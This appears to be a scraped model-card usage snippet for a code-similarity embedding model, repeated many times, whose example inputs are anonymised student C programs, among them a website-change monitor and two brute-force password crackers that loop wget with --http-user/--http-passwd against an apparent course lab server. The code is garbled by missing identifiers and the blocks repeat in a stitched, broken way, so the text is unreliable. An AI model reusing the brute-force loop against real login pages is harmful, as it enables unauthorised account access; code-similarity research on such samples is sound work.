'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
